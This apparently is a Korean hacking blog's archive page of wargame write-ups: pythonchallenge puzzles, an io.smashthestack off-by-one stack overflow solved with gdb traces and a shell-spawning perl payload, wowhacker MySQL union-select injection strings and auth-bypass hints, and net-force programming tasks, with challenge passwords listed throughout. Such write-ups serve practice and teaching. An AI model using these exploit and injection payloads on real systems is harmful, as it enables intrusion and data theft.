Search results for 'War game'

pythonchallenge level2

2009. 8. 17. 20:34

level 2 : http://www.pythonchallenge.com/pc/def/ocr.html
--------------------------------------------------------------------------
Hint :
recognize the characters. maybe they are in the book,
but MAYBE they are in the page source.

--------------------------------------------------------------------------
웹페이지의 소스를 보니  특수문자들로 보이는 엄청 긴 문자열이 있고

<!--
find rare characters in the mess below:
-->

라는 주석을 볼 수 있다.

특수 문자들 사이에 있는 알파릭 문자들을 뽑아내 보았다.


str = """%%$@_$^__#)^....."""

answer = ''i=0
while 1:
 if ord(str[i]) > 96 and ord(str[i]) < 123: answer += str[i]
 i+=1
 if i == len(str): break
print answer 


숨어있는 문자들은 equality

http://www.pythonchallenge.com/pc/def/equality.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level1  (0) 2009.08.17

badcob War game/pythonchallenge

pythonchallenge level1

2009. 8. 17. 18:26

사이트 url은 이곳이며 level1은 여기를 클릭.

everybody thinks twice before solving this.

g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.

위와 같은 글귀와

K -> M
O -> Q
E -> G

라고 적혀진 노트를 볼 수 있다. 아스키 코드를 2씩 증가시키므로 

......
    word += chr(ord(txt[i])+ 2)
  i+=1
  if i == length : break
 return word

이런식으로 만들어서 디코딩을 해봤더니 아래와 같은 문장을 볼 수 있었다.
-----------------------------------------------------------------------------------------------
i hope you didnt translate it by hand. thats what computers are for. doing it in
 by hand is inefficient and that's why this text is so long. using string.maketr
ans() is recommended. now apply on the url
------------------------------------------------------------------------------------------------
그냥 끝내기가 멋적어서 string.maketrans를 써서 다시 만든 코드.


import string

def decode_str(txt):
 word = ''
 firstchar = string.uppercase + string.lowercase
 secondchar = '{'+'}'
 move_str1 = string.maketrans(firstchar, "CDEFGHIJKLMNOPQRSTUVWXYZ[\cdefghijklmnopqrstuvwxyz{}") 
 move_str2 = string.maketrans(secondchar,"ab")
 word = txt.translate(move_str1) 
 return word.translate(move_str2)

str = "g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj"
#str = "http://www.pythonchallenge.com/pc/def/map.html"

answer = ''
answer = decode_str(str)
print answer


힌트를 따라서 url에 적용한뒤 주소창에 입력. (map.html)
http://www.pythonchallenge.com/pc/def/ocr.jvon

Have you ever heard of jvon files !?

jvon 확장자라..들어본적 없다. 구글링을 해봐도 나오지 않았다;
혹시나해서 ocr.html로 입력했더니 level2 페이지를 볼 수 있었다.
http://www.pythonchallenge.com/pc/def/ocr.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16
python challenge level6  (0) 2009.09.21
python challenge level5  (0) 2009.08.27
pythonchallenge level4  (0) 2009.08.20
pythonchallenge level3  (0) 2009.08.19
pythonchallenge level2  (0) 2009.08.17

badcob War game/pythonchallenge

level10

2009. 5. 4. 18:26

꾸역꾸역 풀고 있긴 합니다만 언제 다 풀런지 모르겠군요T_T

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
        int *i;
        char buf[256];

        i = (int *)getebp();
        limit = *i - (int)buf + 1;

        for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];

}

int main(int argc, char **argv)
{
        int cookie = 1000;
        if (argc != 2) exit(1);
        f(argv[1]);

        if ( cookie == 0xdefaced ) {
                setresuid(geteuid(), geteuid(), geteuid());
                execlp("/bin/sh", "/bin/sh", "-i", NULL);
        }
        return 0;
}



level10 의 소스입니다. functin f 의 취약점을 이용해서 입력값 조작을 통해 cookie 값을 "0xdefaced"로 바꾸는게 목적인듯 합니다.

        i = (int *)getebp();    
      limit = *i - (int)buf + 1;

      for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];

냄새가 나는 부분입니다. 실제로 값을 찍어보면 limit에 0x105 (261)이 들어가서 그만큼 argv의 값을 buf 에 집어넣게 됩니다.( 처음엔 이값에 - 가 찍혀서 .. 자세히 보지도 않고 몇일간 삽질을..)

일단 보고 드는 생각은 그냥 stack에서 cookie 값까지 덮어 씌워서 defaced 로 바꿔주면 되겠구나 했습니다. 그러나 limit 의 크기가 작아서 거기까지는 덮어씌우지를 못했습니다. 어떻게 할까 고민하다가 전역변수로 눈을 돌려봤습니다. limit 와 i 가 전역변수니깐 .bss 영역에 있을 저값을 어떻게 조작할수 없을까 해서 몇일동안 허송 세월을 했습니다. 삽질할때는 참 끈기 있게도 잘 찾아보는거 같습니다 -_-;

몇일 헤메다가 비누님한테 한번 여쭈어 봤더니 30분만에 푸시더군요. 설명은 정확히 해주지 않으셨지만 포인트는 확실히 알았기에 차분히 한줄씩 브레이크포인트 걸어서 살펴봤습니다. 입력값을 점점 늘리면서(argv의 크기 변경) main 함수의 ebp의 변화와 f 함수를 호출하고 난뒤의  레지스터값을 체크해봤습니다.


f 함수의 디스어셈블된 코드

(gdb) disas f
Dump of assembler code for function f:
0x080483fb <f+0>:       push   %ebp
0x080483fc <f+1>:       mov    %esp,%ebp
0x080483fe <f+3>:       sub    $0x110,%esp
0x08048404 <f+9>:       call   0x80483f4 <getebp>
0x08048409 <f+14>:      mov    %eax,0xfffffffc(%ebp)             // eax에는 ebp가 들어있습니다. ebp-4 로 이동.
0x0804840c <f+17>:      mov    0xfffffffc(%ebp),%eax                // i 를 eax로  
0x0804840f <f+20>:      mov    (%eax),%edx                              // eax의 주소를 edx로
0x08048411 <f+22>:      lea    0xfffffefc(%ebp),%eax                       // buf 를 eax로 buf의 위치는 ebp-260 부터 입니다.
0x08048417 <f+28>:      mov    %edx,%ecx                                   // edx를 ecx로
0x08048419 <f+30>:      sub    %eax,%ecx                                // ecx(1의 주소값) 에서 edx buff의 값을 뺍니다.
0x0804841b <f+32>:      mov    %ecx,%eax
0x0804841d <f+34>:      inc    %eax
0x0804841e <f+35>:      mov    %eax,0x804974c                  // 0x804974c 에 limit의 값이 있습니다.
0x08048423 <f+40>:      movl   $0x0,0x8049750                            
0x0804842d <f+50>:      jmp    0x8048452 <f+87>
0x0804842f <f+52>:      mov    0x8049750,%edx
0x08048435 <f+58>:      mov    0x8049750,%eax
0x0804843a <f+63>:      add    0x8(%ebp),%eax
0x0804843d <f+66>:      movzbl (%eax),%eax
0x08048440 <f+69>:      mov    %al,0xfffffefc(%ebp,%edx,1)
0x08048447 <f+76>:      mov    0x8049750,%eax
0x0804844c <f+81>:      inc    %eax
0x0804844d <f+82>:      mov    %eax,0x8049750
0x08048452 <f+87>:      mov    0x8049750,%edx
0x08048458 <f+93>:      mov    0x804974c,%eax
0x0804845d <f+98>:      cmp    %eax,%edx               c가 limit 보다 크면 빠져나간다.
0x0804845f <f+100>:     jge    0x8048470 <f+117>
0x08048461 <f+102>:     mov    0x8049750,%eax
0x08048466 <f+107>:     add    0x8(%ebp),%eax
0x08048469 <f+110>:     movzbl (%eax),%eax
0x0804846c <f+113>:     test   %al,%al
0x0804846e <f+115>:     jne    0x804842f <f+52>
0x08048470 <f+117>:     leave 
0x08048471 <f+118>:     ret   
End of assembler dump.


 

f 함수를 호출하기전과 호출하고 난뒤에 각각 브레이크 포인트를 걸었습니다.

(gdb) b *main+63
Breakpoint 1 at 0x80484b1

(gdb) b *main+68
Breakpoint 2 at 0x80484b6

(gdb) r `perl -e 'print "A"x256'`                 버퍼 사이즈인 256개부터 시작했습니다.

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x257'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x258'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38


(gdb) r `perl -e 'print "A"x259'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38


(gdb) r `perl -e 'print "A"x260'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x261'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41                main 함수 ebp의 값이 바뀌었습니다.

(gdb) r `perl -e 'print "A"x262'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x263'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x264'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x265'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x266'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x267'`             

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28                   argv가 증가하면서 main 함수 ebp 값이 바뀌었습니다.
esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41                   f 함수 호출뒤에 ebp 의값은 0xbfffdc41 로 고정됩니다. 
                                                                    
(gdb) r `perl -e 'print "A"x268'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x269'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x270'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x271'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x272'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x273'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x274'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x275'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x276'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x277'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x278'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x279'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x280'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x281'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x282'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x283'`

esp            0xbfffdbe0       0xbfffdbe0
ebp            0xbfffdc18       0xbfffdc18

esp            0xbfffdbe0       0xbfffdbe0
ebp            0xbfffdc41       0xbfffdc41

........


(gdb) r `perl -e 'print "A"x300'`

esp            0xbfffdbd0       0xbfffdbd0
ebp            0xbfffdc08       0xbfffdc08

esp            0xbfffdbd0       0xbfffdbd0
ebp            0xbfffdc41       0xbfffdc41



이렇게 한참동안 생각없이 입력하다보니 f 함수 호출뒤의 ebp 값이 전부 같길래 한번 스택에서 값을 확인해봤더니..

0xbfffdba8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbb8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbc8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbd8:     0xbfffdc41        0x080484b6      0xbfffdd9f       0x0023c2e8
0xbfffdbe8:     0xbfffdbf8          0x08048380      0x0023dff4      0x08049718
0xbfffdbf8:      0xbfffdc30        0x080482dd      0x00000002      0xbfffdca4
0xbfffdc08:     0x000003e8       0xbfffdc30         0x0023dff4      0x00000000



이게 뭡니까.. for 문에서 261만큼 값이 대입될때 ebp 까지 덮어버려서 마지막 1바이트값만 바뀌는 것이었습니다.

결국 ret 구문에 의해 main 함수로 돌아갈때 조작된 ebp 의 값이 main 함수의 ebp 값이 되버리는 간단한 현상이었습니다 -_-;;;;;;

main 함수에서는 0x08048488 <main+22>:   movl   $0x3e8,0xfffffff0(%ebp)   ebp-16에 쿠키값을 집어 넣습니다 .따라서

위에서 나온것처럼 0xbfffdbd8 을 ebp로 해서 -16 인 0xbfffdbc8에 \xed\xac\xef\x0d 를 넣어주면 되겠습니다.


(gdb) r `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\xd8","A"x22'`

실패했습니다. 우리가 조작할수 있는 값은 ebp의 마지막 1바이트 뿐이기 때문에 여기서 약간의 조작이 필요합니다. 위에서 우리는 argv를 크게 주면 ebp의 값이 점점 감소 한다는 것을 알았습니다. 이를 이용해서 argv의 값을 늘려서 조작된 ebp의 값 -16이 cookie를 가르키도록 해봤습니다.

/levels/level10 `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\x58","A"x160'

최종 공격 코드를 입력해봤습니다. (경로를 절대경로로 입력하면 gdb와 비슷하다는 말씀을 비누님이 해주셨습니다!)

level10@io:/levels$ /levels/level10 `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\x58","A"x160'`

sh-3.1$ id
uid=1011(level11) gid=1010(level10) groups=1010(level10)

sh-3.1$ cat /home/level11/.pass
bu8itdus



 쉬운문제였는데 뻘짓만 정말 한가득을 했습니다.. 졸려서 마지막은 날림으로..
 이런 에러를 off-by-one 이라고 부르는군요.   비누님 감사! (http://en.wikipedia.org/wiki/Off-by-one_error)

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

ftz.hackerschool.org

2009. 3. 11. 18:11
level1         hacker or cracker
level2         can you fly?
level3         suck my brain
level4         what is your name?
level5         what the hell
level6         come together
level7        break the world
level8        apple
level9        interesting to hack!               
level10       what!@#$
level11       it is like this   
level12       have no clue
level13       what that nigga want?
level14       guestt what
level15       about to cause mass
level16       king poetic
level17       why did you do it
level18       swimming in pink
level19       we are just regular guys
level20

머리속에서 겉돌기만하던 개념들이 어느순간에 깨끗하게 정리되는 느낌이 들었.. 풉..
format string 은 일단 패스

badcob War game/ftz.hackerschool.org

wowhacker web and binary

2008. 6. 21. 12:25


i love tiger mac  - php 셋팅 문제. 확장자 phps로 주면 소스가 보임
where is fckorea?! - filedownload
iwantknowmoreMrjones! - unix_timestamp() 를 이용 unixtimestamp 형식으로 바꾼후 md5 해쉬값으로
                                     파일 다운로드
level4:VeRY Good! My Friend!    admin 세션 하이재킹, 공지 쓴 시간 추측 , 세션 생성 패턴, md5 해쉬

level5: ISayDDaeYouSayMireoyo! 아파치 웹서버 인증 우회. get put  이외에 options put 등의 메소드를 활용

level6: IhateCrazyCow.too! 자바스크립트 디코딩 인코딩  http://scriptasylum.com/tutorials/encdec/encode-decode.html

level7 : If you dream it, you can do it  mysql 인젝션 limit 쿼리문 사용

Admin 'union Select Table_Name,Table_Name,Table_Name,Table_Name,Table_Name,Table_Name From Information_Schema.Tables Limit 18,1# keytable
Admin 'union Select Table_Name,Table_Name,Table_Name,Table_Name,Table_Name,Table_Name From Information_Schema.Tables Limit 19,1# user_info

admin' union SELECT column_name,column_name,column_name,column_name,column_name,column_name FROM information_schema.columns WHERE table_name='user_info' limit 2,1#

admin' union SELECT column_name,column_name,column_name,column_name,column_name,column_name FROM information_schema.columns WHERE table_name='keytable' limit 1,1#


binary

level1 : D0n7 sm0k1ng!!

badcob War game

Programming - 2. Are you fast enough?

2008. 6. 13. 02:19
Question:

This challenge is a simple calculation.
When you click on the link below you will get a number.
The calculation is: answer = (number * 3 + 2) - 250

Example with number 1500:
4252 = (1500 * 3 + 2) - 250

In this example 4252 is the answer...answer like this: prog2.php?solution=4252
You must do this within 2 seconds. If the answer is correct, you will get the password.


answer: 
             처음엔 걍 c로 만들어서 2초안에 넣어볼라고 쇼를 했다.
             내타수가 그렇게 느린줄 몰랐다. 세상에 만만한거 하나 없더라.
             뭘로 해볼까 하다가 만만한 자바 스크립트로 했는데 막상 해볼려니
             이것 또한 시간을 꽤나 잡아먹었다.

<html>
<head>
<script>
function calc(){
str1 = myform.solution.value;
answer = (str1 * 3 + 2) - 250;
myform.solution.value = answer;
return;
}
</script>
</head>
<body>
<form name="myform" method="get" action="http://net-force.nl/challenge/level602/prog2.php" onsubmit="calc()">
Number: <input type=text name=solution><br>
<input type=submit value=전송>
</form>
</body>
</html>

       
The password is: damnfast

'War game > net-force.nl' 카테고리의 다른 글

Programming - 1. keep walking...  (0) 2008.06.12

badcob War game/net-force.nl

Programming - 1. keep walking...

2008. 6. 12. 16:52

Question :

This is a challenge to test your basic programming skills.

Pseudo code:
Set X = 1
Set Y = 1
Set previous answer = 1

answer = X * Y + previous answer + 3

After that => X + 1 and Y + 1 ('answer' becomes 'previous answer') and repeat this till you have X = 525.

The final answer is the value of 'answer' when X = 525. Fill it in below to check if it's the correct answer. If it is, you will get the password for the challenge page.


answer :

#include <stdio.h>

void main(void)
{
 int x=1, y=1;
 int answer = 1;
 
 for(;x<526;)
 {
 answer = (x++) * (y++) + answer + 3;
  if(x==524)
  printf("\nprevious answer = %d", answer);
 }
 printf("\nx=%d, y=%d\nanswer = %d",x,y,answer);
 return;
 }

enter : 48373851

Nice one, the password is: pr0ggen

'War game > net-force.nl' 카테고리의 다른 글

Programming - 2. Are you fast enough?  (0) 2008.06.13

badcob War game/net-force.nl